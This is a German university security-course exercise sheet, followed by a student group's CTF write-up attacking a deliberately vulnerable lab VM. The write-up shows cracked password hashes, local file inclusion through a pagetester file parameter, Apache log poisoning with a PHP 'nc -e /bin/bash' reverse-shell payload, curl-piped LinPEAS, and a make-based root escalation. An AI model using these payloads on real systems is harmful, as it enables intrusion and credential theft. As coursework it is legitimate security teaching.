Blockwoche Informationssicherheit: 18. Übung
Aufgabe 1, 6 Punkte, Gruppe
Löst, wenn möglich, die sechs websrv-Challenges in unserer
CTF-Plattform.
In dieser Übung geht es um das Ausnutzen von Verwundbarkeiten auf
einem Server. Den Server erhaltet Ihr als Vagrant Box. Unter:
websrv25 VM
könnt Ihr sie herunterladen. Starten lässt sie
sich wie gewohnt aus dem Ordner heraus mittels vagrant up.
Um den Server zu untersuchen, empfehlen wir unter
anderem folgende Werkzeuge:
nmapgobusteroderffufjohnoder alternativhashcat
Hilfreich ist außerdem ein Browser mit “Developer Tools” (Firefox, Chrome etc.)
In unserer kali-VM ist gobuster nicht enthalten, kann aber mittels
sudo apt update && sudo apt install gobuster installiert werden.
Alle aufgelisteten Werkzeuge sind von der Kommandozeile / dem Terminal
aus bedienbar.
Geeignete Wörterbücher sowohl für john und gobuster findet Ihr in
der Kali-Box in /usr/share/wordlists/ oder unter:
SecLists. Achtet darauf, dass Ihr
die Wörterbücher dem Anwendungsfall entsprechend auswählt.
Was ist “Local File Inclusion”? Wo könnt Ihr es einsetzen? Schafft Ihr
es, Dateien und Unterordner auf dem Server anzuschauen? Gelingt es
Euch, der Nutzer www-data zu werden oder sogar Kommandozeilen-Zugriff zu erlangen?
Wenn Ihr Lust habt, könnt Ihr zudem noch versuchen, root-Rechte auf dem
Server zu bekommen.
Erklärt schrittweise Euer Vorgehen und beschreibt auch Ansätze, die
nicht erfolgreich waren.
Bei Problemen kann es sinnvoll sein, die virtuelle Maschine mit dem
folgenden Kommando neu zu starten: vagrant halt && vagrant up.
Über die Developer Tools im Browser ist es möglich, Requests an den
Webserver zu bearbeiten und erneut abzuschicken.
Hilfreiche Hinweise findet Ihr auch unter
Hacktricks - LFI2RCE, Hacktricks - reverse shells / php und ctf101 - Web. Auch die Verwendung von revshells kann Euch helfen (geeignete Reverse Shell für Euer Anwendungsszenario auswählen).
Für den Weg zu den Root-Rechten helfen Euch z.B. die folgenden Links:
LinPEAS - Enumaration Script und GTFObins / “living off the land” Binaries.
Abgabe
bis 2025-02-13 23:59 UTC, digital in Stud.IP als zip-Archiv mit einer
Markdown-Datei, einem gerenderten PDF dieser Markdown-Datei und allen
Dateien, die die Markdown-Datei zum Rendern braucht. Als Dateinamen
verwendet Ihr isec24_ueb18_grpYY.(md|pdf|zip) (Das YY mit Eurer
Gruppennummer ersetzen). Dabei bitte in der Datei alle
Gruppenmitglieder namentlich nennen. Ebenso die Nummer Eurer Gruppe in
Stud.IP.
Bitte steckt die Energie ins Denken und Schreiben, nicht in eine
wunderschöne Formatierung — lesbar darf es allerdings sein. Die
Lösungswege sollten nachvollziehbar sein.
Wenn Ihr Euch irgendwelcher Quellen bedient (Anleitungen, Howtos,
andere Gruppe, etc.), gebt diese bitte an (Quellen aus dem Netz bitte
gleich als URI).
*Carsten Bormann, Karsten Sohr, Stefanie Gerdes, Jan-Frederik
Rieckers, Finn Ewers, Andreas Benischke ·
Erstmal haben haben wir mit ifconfig getest ob die VM sauber im Netzwerk erkannt wird.
Da Maarten ein linux NixOS System hat haben wir einfach erstmal auf dem und nicht in kali gearbeitet.
Mit ifconfig sehen wir das die unsere IP zur VM 192.168.56.1 ist.

Mit nmap 192.168.56.0/22 haben wir alle Pc im subnetz dursucht.
So haben wir den Server auf 192.168.56.149 gefunden.
Dier hat offene Ports für ftp ssh, und einem Webserver.

Wenn man nun 192.168.56.149 im Firefox öffenet sieht man das:

Da es mich gestört das gobuster keine rekusive suche kann haben wir
fexobuster genutzt. Dieser funktioniert sehr ähnlich nur er hat ein paar mehr Optionen.


Wir haben im verlauf der einige Wordlisten probiert:
https://github.com/00xBAD/kali-wordlists.githttps://github.com/danielmiessler/SecLists.githttps://github.com/Watchdog0x/DirHuntWordlisthttps://github.com/maverickNerd/wordlists
Mit diesen Wordlists haben wir diese domains gefunden.
Domains
https://192.168.56.149/
Naturlich die base Domain
https://192.168.56.149/sitemap.xml

Hier sieht man einen wp-content ordner. Diesen konnten wir nicht finden.
https://192.168.56.149/javascript
https://192.168.56.149/robots.txt
User-agent: ^[gG]obuster/*
Disallow: /system/*
User-agent: ^[dD]ir[bB]uster *
Disallow: /%00%2f%2e%2e%2f*
Disallow: /system/*/%2e%2e%2f
User-agent: Fuzz Faster U Fool *
Disallow: /system/**/*
User-agent: *
Disallow: /PHP/*
Disallow: /wp-admin/**/*
Disallow: /assets/*
Disallow: /ma*/*.txt
Allow: /sitemap.xml
Hier sieht man das mit User Agent Gobuster und Dirbuster bestimmte domains nicht angezeigt werden sollen.
https://192.168.56.149/mails/

Hier gibt es eine Mail
https://192.168.56.149/mails/msg00094_flg.html

Hier hätten wir die erste Falg finden können.
Leider haben wir die hier in dem Link übersehen und dann später nach einem Tip durch die Browser History gefunden.


Die erste Flag:
ISEC{f0ldEr_inV35tiGat10N}
https://192.168.56.149/assets/
https://192.168.56.149/assets/images
https://192.168.56.149/assets/images/uni.ico
https://192.168.56.149/assets/images/space.gif
https://192.168.56.149/assets/images/space.png
assets schien nur bilder zu enthalten.
https://192.168.56.149/backend_/
⇒ Forbidden
https://192.168.56.149/backend_/pages/

backend_ gibt forbidden zurück, aber backend_/pages gibt eine übersicht aller unterseiten.
Hier hatten wir alle bis auf msg00095_flag.htmschon mit fexobuster gefunden.
msg00095_flag.htm konnten wir aber nicht öffnen.
https://192.168.56.149/backend_/pages/upload.php
Leitet einen zu Login weiter
https://192.168.56.149/backend_/pages/upload.php_old

Wir konnten nicht heraus finden wofür diese Seite war da.
https://192.168.56.149/backend_/pages/newBlogEntry.php

Hier hat das hochladen anscheind nicht funktioniert.
https://192.168.56.149/backend_/pages/navbar.php

https://192.168.56.149/backend_/pages/footer.html

https://192.168.56.149/backend_/pages/admin.php

https://192.168.56.149/backend_/pages/info.php

Hier stand sehr viel aber nichts gebrauchen kann.
https://192.168.56.149/backend_/pagetester.php
Leitet einen zu Login weiter
https://192.168.56.149/backend_/login.php
https://192.168.56.149/backend_/pages/images
⇒ Forbidden
https://192.168.56.149/backend_/pages/images/campus_blog.jpg

https://192.168.56.149/backend_/pages/blog
⇒ Forbidden
https://192.168.56.149/backend_/pages/blog/campus_blog.html

https://192.168.56.149/readme
https://192.168.56.149/readme/README.md

https://192.168.56.149/system/redirect
⇒ Forbidden

Hier haben wir nochmal fexobuster genutzt um mit den common.txt um die info.php
https://192.168.56.149/system/redirect/info.php

Hier haben wir dann auch die zweite Flag gefunden.
ISEC{g0b(_)st3r_g03s_brrrRRrRrRrRRr}
https://192.168.56.149/syslog

Hier ist uns die ../../../../../var/log/apache2/access.log aufgefallen.
https://192.168.56.149/backend_/pages/blog.php

Login Page
https://192.168.56.149/backend_/login.php

Als wir uns die Login Page genauer an geguckt haben ist uns dann dieser link aufgefallen.

ftp://anonymous@192.168.56.149:/user/
So haben wir gefunden das man mit anonymous auf den ftp server verbinden kann.
FTP

Wir haben dann einfach alles mit wegt vom ftp server runtergeladen.

Quelle
https://stackoverflow.com/questions/3003135/downloading-all-files-from-an-ftp-server
Wenn man die daten darin entpackt und öffnet sieht man password hashes:

"admin", "SHA256:01621148306fc8fb7c2b95eeb5c37e375f90db53cf8313ea87c9c34c05b7e0e5"
"developer", "SHA256:0bb09d80600eec3eb9d7793a6f859bedde2a2d83899b70bd78e961ed674b32f4"
"visitor", "SHA256:15e2b0d3c33891ebb0f1ef609ec419420c20e320ce94c65fbc8c3312448eb225"
"ceo", "SHA256:c88a0b907419a70c27ab7c1f8e5fb54441a4d9c3567e4c928fa7b2091194aecf"
Dort stand auch die dritte flag drin. Diese Flag haben wir erstaunlicherweise als erstes gefunden.
"FLAG", "ISEC{An0nym0u5_f7p_un3nCryp73D_d8_b4CkuP}"
MIt John konnten wir die passwörter sehr schnell knacken.

- admin: 123456789
- developers: shadow
- visitor: michelle
- ceo: Success → Funktioniert
MIt dem passwort von ceo konnten wir uns in der login page einloggen.

Pagetester

Schnell wurde uns klar das hier der Pagetester der Ort ist wo man eine php reverse shell zu erzeugen.

https://192.168.56.149/backend_/pages/msg00095_flag.htm
Mit dem Pagetester konnten wir msg00095_flag.htm anzeigen lassen.

und haben dort die 4. Flag gefunden.
ISEC{lOcA1_Fi1E_iNc1u5i0n_m3i5t3R*iN}
Revshells
https://www.revshells.com/
https://192.168.56.149/backend_/pagetester.php?file=../../../../../../var/log/apache2/access.log
Als wir ../../../../../../var/log/apache2/access.log angezeigt haben lassen haben wir die 5. Flag gefunden.

ISEC{LoC4l_fi13_iNcluS1on_Nr2}
Es ist auch erstaunlich das hier die die man vorher als file oder User-Agent eingegeben hat angezeigt wird.
Wir haben dann probiert aus User Argent diese revshell auf den server zu laden.
<?php system('nc -e /bin/bash 192.168.56.1 9001'); ?> netcat -lvnp 9001 Doch die Shell wollte sich einfach nicht verbinden.
Wir haben es dann doch nochmal in kali probiert und da ging es dann.
Kali hatte die Ip 192.168.56.101
<?php system('nc -e /bin/bash 192.168.56.101 9001'); ?> ncat -lvnp 9001
In kali hat es dann geklappt.

Wir sind darauf gekommen, dass die firewall meines laptop den port 9001 blockt.
Als wir diesen frei gegeben haben. Konnten hat sich die revshell auch zu dem host auf 192.168.56.1 verbunden.

LinPEAS
https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
Wir haben LinPEAS laufen gelassen
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh



und ein heraus gefunden das make ausgenutzt werden kann.
https://gtfobins.github.io/gtfobins/make/

COMMAND='/bin/bash -p'
make -s --eval=$'x:\n\t-'"$COMMAND"
Nach etwas rumprobieren haben wir über die scripte in gtfobins gefunden die funktioniert haben.

dann haben wir in /root die flag gefunden.


ISEC{31N_v0N_zW31_wE6eN_N4Ch_r00T}